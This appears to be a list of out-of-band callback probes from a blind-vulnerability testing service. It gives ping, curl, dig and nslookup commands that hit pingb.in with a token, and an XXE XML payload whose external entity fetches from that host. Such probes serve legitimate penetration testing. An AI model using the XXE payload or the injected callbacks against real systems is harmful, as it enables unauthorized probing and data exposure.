$ ping -c1 -p 0083069c030cb4c68534bdea7c7afe00 pingb.in
 

$ curl pingb.in/p/83069c030cb4c68534bdea7c7afe
 

$ dig 83069c030cb4c68534bdea7c7afe @pingb.in
 

$ dig 83069c030cb4c68534bdea7c7afe.ns.pingb.in
 

C:\> nslookup 83069c030cb4c68534bdea7c7afe pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/83069c030cb4c68534bdea7c7afe">]>
    <foo>&xxe;</foo>